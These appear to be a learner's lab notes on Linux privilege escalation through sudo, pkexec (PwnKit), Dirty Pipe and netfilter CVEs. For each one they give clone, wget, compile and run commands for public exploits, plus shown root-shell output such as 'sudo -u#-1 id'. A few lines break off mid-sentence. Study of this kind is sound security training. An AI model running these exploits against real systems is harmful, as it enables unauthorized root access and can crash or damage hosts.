Sudo 0day
You know what sudo is - /etc/sudoers file specifies which users/groups allowed to run specific programs + what privs
sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
[sudo] password for cry0l1t3: **********
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults use_pty
root ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
cry0l1t3 ALL=(ALL) /usr/bin/id
@includedir /etc/sudoers.d
One of the latest vulns for sudo carries CVE-2021-3156 based on heap-based buffer overflow vulnerabilty. This affects sudo versions:
- 1.8.31 - Ubuntu 20.04
- 1.8.27 - Debian 10
- 1.9.2 - Fedora 33
- and others
Determining version of sudo the following
sudo -V | head -n1
Sudo version 1.8.31
Interesting thing about this vulnerability is it was present for over 10 years before discovery - public POC here: https://github.com/blasty/CVE-2021-3156
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
When running - we can be shown list of all available versions of OS that may be affected by vuln:
./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"
Specify ID for version of OS:
./sudo-hax-me-a-sandwich 1
Sudo policy bypass 0day
- Affected all versions below 1.8.28 - allowed privileges to escalate even with simple command
- https://www.sudo.ws/security/advisories/minus_1_uid/ CVE-2019-14287
- requires only single prerequisite - allow user in /etc/sudoers to execute a specific command:
ALL=(ALL) /usr/bin/id
sudo also allows commands to be run under other userIDs
ID specific user found in /etc/passwd
cat /etc/passwd | grep cry0l1t3
cry0l1t3:x:1005:1005:cry0l1t3,,,:/home/cry0l1t3:/bin/bash
id for cryolite would be 1005
if negative id -1 entered at sudo this results in processing id 0 which only root has. thus: root shell
sudo -u#-1 id
root@nix02:/home/cry0l1t3# id
uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)

  
Polkit
PolicyKit (polkit) auth service in linux that allows user software and system components to communicate with each other if user software is authorized to do so. It's possible to set how permissions are granted by default for each user and application. For example - for each user - it can be set whether operation is generally allowed or forbidden, or authorization as an administrator or as a separate user with one-time process-limited, session-limited, or unlimited validity should be required.
Polkit works with two groups of files:
- actions/policies (
/usr/share/polkit-1/actions) - rules (
/usr/share/polkit-1/rules.d)
Polkit also has local authority rules that can be used to set/remove add'tl permissions for users/groups.
Custom rules can be placed in diretory /etc/polkit-1/localauthority/50-local.d with file ext .pkla
Bundled with 3 additional programs:
pkexec- runs a program with the rights of another user or with root rightspkaction- can be used to display actionspkcheck- this can be used to check if a process is authorized for a specific action
pkexec seems interesting - it's basically sudo. # pkexec -u <user> <command>
In pkexec tool - memory corruption vuln with CVE CVE-2021-4034 was found known as pwnkit - also hidden for 10+ years.
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
Dirty Pipe 0day
Vulnerability in linux kernel. https://dirtypipe.cm4all.com/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
Allow unauthorized writing to root user files in linux. Technically vuln is similar to Dirty Cow vuln discovered in 2016. All kernels version 5.8 to 5.17 affected + vulnerable.
Simple terms: Vuln allows user to write arbitrary files as long as he has read access to these files. Android phones also affected
Vulnerability based on pipes. i.e.; edit /etc/passwd and remove pw prompt for root.
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
Two different exploits available: exploit-1 - modifies /etc/passwd + give prompt with root privs. Verify kernel version and exec
uname -r
5.13.0-46-generic
./exploit-1
exploit-2 - execute SUID binaries with root privs. Before we can do that - find a suid binary.
find / -perm -4000 2>/dev/null
Then, choose binary and specify full path of the binary as an argument for the exploit and execute it.
./exploit-2 /usr/bin/sudo
Netfilter
Linux kernel module that provides packet filtering / network addr translation / other firewall-relevant tools.
Controls + regulates network traffic by manipulating individual packets based on their characteristics and rules.
Netfilter is called software layer in linux kernel.
When network packets are recv'd/sent - initiates execution of other modules such as packet filters. These modules can then intercept and manipulate packets.
This includes programs like iptables and arptables which serve as action mechanisms of the netfilter hook system of ipv4 and ipv6 protocol stack.
Kernel module has 3 main functions:
- Packet defragmentation
- Connection tracking
- Network address translation (NAT)
When activated all IP packets checked by netfilter before forwarded to target application of own/remote system.
In 2021 (CVE-2021-22555), 2022 (CVE-2022-1015), and also in 2023 (CVE-2023-32233), several vulnerabilities were found that could lead to privilege escalation.
Many companies have preconfigured Linux distributions adapted to their software applications or vice versa. This gives the developers and administrators, metaphorically speaking, a "dynamic basis" that is difficult to replace. This would require either adapting the system to the software application or adapting the application to the newer system. Depending on the size and complexity of the application, this can take a great deal of time and effort. This is often why so many companies run older and not updated Linux distributions in production.
Even if the company uses virtual machines or containers like Docker, these are built on a specific kernel. The idea of isolating the software application from the existing host system is a good step, but there are many ways to break out of such a container.
CVE-2021-22555
Vulnerable kernel versions: 2.6 - 5.11
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
gcc -m32 -static exploit.c -o exploit
./exploit
CVE-2022-25636
A recent vulnerability is CVE-2022-25636 and affects Linux kernel 5.4 through 5.6.10
This is net/netfilter/nf_dup_netdev.c, which can grant root privileges to local users due to heap out-of-bounds write. Nick Gregory wrote a very detailed article about how he discovered this vulnerability.
it can corrupt the kernel, and a reboot will be required to reaccess the server.
git clone https://github.com/Bonfee/CVE-2022-25636.git
cd CVE-2022-25636
make
./exploit
CVE-2023-32233
This vulnerability exploits the so called anonymous sets in nf_tables by using the Use-After-Free vulnerability in the Linux Kernel up to version 6.3.1.
nf_tables are temporary workspaces for processing batch requests and once the processing is done, these anonymous sets are supposed to be cleared out (Use-After-Free) so they cannot be used anymore.
Due to flawed code, these anonymous sets are not handled properly and can be accessed/modified by program.
Exploitation is done by manipulaing the system to use cleared out
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233
cry0l1t3@ubuntu:~/CVE-2023-32233$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl
./exploit
These exploits are unstable and can damage the system.